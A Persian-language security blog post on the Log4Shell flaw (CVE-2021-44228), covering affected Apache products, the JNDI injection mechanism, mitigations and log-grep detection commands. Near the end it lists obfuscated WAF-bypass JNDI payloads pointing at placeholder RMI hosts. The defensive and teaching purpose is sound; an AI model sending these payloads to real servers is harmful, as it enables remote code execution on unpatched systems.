وبلاگ

تحلیل و اكسپلویت آسیب پذیری log4shell و روش های رفع این آسیب پذیری

همین چند روز پیش، در ۹ دسامبر ، محققان کد سوءاستفاده‌ی اثبات مفهوم (PoC) را برای یک آسیب‌پذیری مهم در Apache Log4j 2 منتشر کردند. این آسیب پذیری مربوط به کتابخانه‌ی گزارش‌گیری (Logging) جاوا بود.از آن‌جا که این کتابخانه بر پایه‌ی جاوا است، این احتمال وجود دارد که ۳ میلیارد دستگاهی که از جاوا استفاده می‌کنند نیز در خطر باشند! این کتابخانه توسط بسیاری از برنامه‌ها و سرویس‌ها مورداستفاده قرار می‌گیرد، سرویس‌ها و برنامه‌هایی نظیر:

• Apache Druid

• Apache Flink

• Apache Solr

• Apache Spark

• Apache Struts2

• Apache Tomcat

• و…

همه‌ی این سرویس‌ها توسط تیم Apache و به صورت اوپن سورس ارائه شده است. (البته محدود به سرویس‌های زیر نیست)

آسیب پذیری log4shell از کجا پیدا شد؟

ماجرای کشف این آسیب‌پذیری با گزارش‌هایی آغاز شد که نشان می‌دادند که چندین نسخه از بازی ویدیویی محبوب sandbox، بازی Minecraft، تحت‌تأثیر این آسیب پذیری قرار گرفته‌اند

این آسیب پذیری در ادامه هم بسیار خبرساز شد! حتی شرکت‌های بزرگی مانند Apple، VMware، Twitter و … آسیب پذیر بودن خود نسبت به این آسیب پذیری را تایید کردند.

 

شدت خطر آسیب پذیری log4shell چگونه است؟

این آسیب پذیری در محاسبه‌ی شدت خطر و حساسیت طبق فرمول CVSS، مقدار ۱۰ از ۱۰ (حداکثر مقدار ممکن) را کسب کرده است! این میزان حساسیت و خطر باعث شد که مدیرعامل شرکت ارائه‌دهنده‌ی خدمات ابری CloudFlare در توییتی برای مخاطبان و مشتریان خود، درصدد ارائه‌ی راهکار برای جلوگیری از سوءاستفاده‌های ممکن از این آسیب پذیری برآید.

 

 

چه کسانی تحت تاثیر قرار می‌گیرند؟

اگر در هر یک از مراحل پردازش درخواست‌های HTTP یکی از پارامترهای Body, User Agent, URL, Referer  را لاگ می‌کنید و یا از یکی از محصولات نوشته شده با جاوا مانند محصولات شرکت آپاچی استفاده می‌کنید، به احتمال بسیار زیاد تحت تاثیر این آسیب‌پذیری قرار می‌گیرید

تحلیل و بررسی آسیب پذیری log4shell

بگذارید به سراغ توضیح تحلیل و بررسی این آسیب‌ پذیری که از سوی محققان log4shell نامیده شده است، برویم. شناسه‌ی آسیب پذیری CVE-2021-44228 مربوط به یک آسیب‌پذیری اجرای کد از راه دور (RCE) در Apache Log4j 2 است. یک مهاجم از راه دور می‌تواند با سوءاستفاده از این آسیب پذیری، یک درخواست جعلی خاص به سروری که نسخه‌ی آسیب‌پذیر log4j را اجرا می‌کند، ارسال کند. درخواستی که از تزریق نام‌گذاری جاوا و رابط دایرکتوری (JNDI) از طریق انواع خدمات دست‌کاری شده، خدماتی از جمله:

• Lightweight Directory Access Protocol (LDAP)

• Secure LDAP (LDAPS)

• Remote Method Invocation (RMI)

• Domain Name Service (DNS)

در سرویس‌هایی که از کتابخانه‌ی log4j برای گزارش‌گیری درخواست‌های خود استفاده می‌کنند، این کد مخرب ( exploit ) باعث می‌شود که کد JNDI که توسط مهاجم به سمت سرور ارسال می‌شود، کنترل نشود و درخواست ارسالی از سمت مهاجم با موفقیت به اجرا درآید.

معماری کلی از نحوه‌ی اکسپلویت این آسیب پذیری:

تکنیک jndi injection :

در اکسپلویت این کتابخانه از روش jndi injection استفاده شده که همین روش در سال ۲۰۱۶ در کنفرانس بلک هت آمریکا black hast 2016 usa تشرح داده شد که در ویدیو زیر قراره به صورت تکمیلی به این اکسپولیت هم بپردازیم 

بررسی فنی و اکسپلویت آسیب پذیری log4shell

برای مشاهده ویدیو حتما vpn خود را روشن کنید و حتما کانال یوتوب ما رو هم دنبال کنید !

پخش ویدیو

نحوه‌ی جلوگیری از آسیب پذیری log4shell

بر اساسی گزارشی که شرکتApache  منتشر کرد به کمک روش‌های زیر می‌توان در برابر این آسیب‌پذیری ایمن بود:
  • به‌روزرسانی به نسخه‌ی Log4j 2.16.0
  • اگر از نسخه‌ی Log4J 2.10 و بالاتر استفاده میکنید و امکان آپگرید ندارید این مقدار را در تنظیمات وارد کنید:

				
					log4j2.formatMsgNoLookups=true
				
			
  • کلاس JndiLookup را از مسیر کلاس‌ها پاک کنید. مثلن می‌توانید از دستور زیر استفاده کنید:
				
					zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
				
			

با توجه به اهمیت سرویس‌های لاگ در محصولات ابری آروان، برای پردازش لاگ‌ها در قسمت‌های متعددی از ابزارهای توسعه داده شده توسط آپاچی استفاده می شود:

  • Apache Kafka
  • Elastic Search
  • LogStash
  • Apache Flink

چگونه می‌توانیم بفهمیم که آیا از طریق این آسیب پذیری موردحمله قرار گرفته‌ایم؟ یا نه؟ 

با این حجم گسترده‌ی سامانه‌های درگیر با این آسیب پذیری و خطراتی که این آسیب پذیری دربر دارد، بهتر است تنها به به‌روزرسانی اتکا نکنید. چراکه ممکن است در بازه‌ی زمانی گذشته سامانه‌ی شما هم از طریق این آسیب پذیری مورد سو استفاده قرار گرفته باشد. برای این که بررسی کنید که « کسب‌وکار شما مورد این حمله در این بازه زمانی مشخص قرار گرفته یا نگرفته است؟» می‌توانید با این دستورات لینوکسی ساده، به راحتی لاگ فایل‌های وب سرور خود را بررسی کنید.

				
					$ sudo cat /var/log/nginx/access.log | grep jndi

$ grep -r “jndi” /var/log
				
			

نمونه پیلود هایی برای بایپس WAF :

				
					${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
				
			

اگر این تحلیل برات مفید بود حتما این پست

تحلیل و آنالیز آسیب پذیری CVE 2021-40444 هم مشاهده کن !

دوره ای در زمینه تست نفوذ وب

اشتراک گذاری:

مطالب زیر را حتما مطالعه کنید

2 دیدگاه

به گفتگوی ما بپیوندید و دیدگاه خود را با ما در میان بگذارید.

دیدگاهتان را بنویسید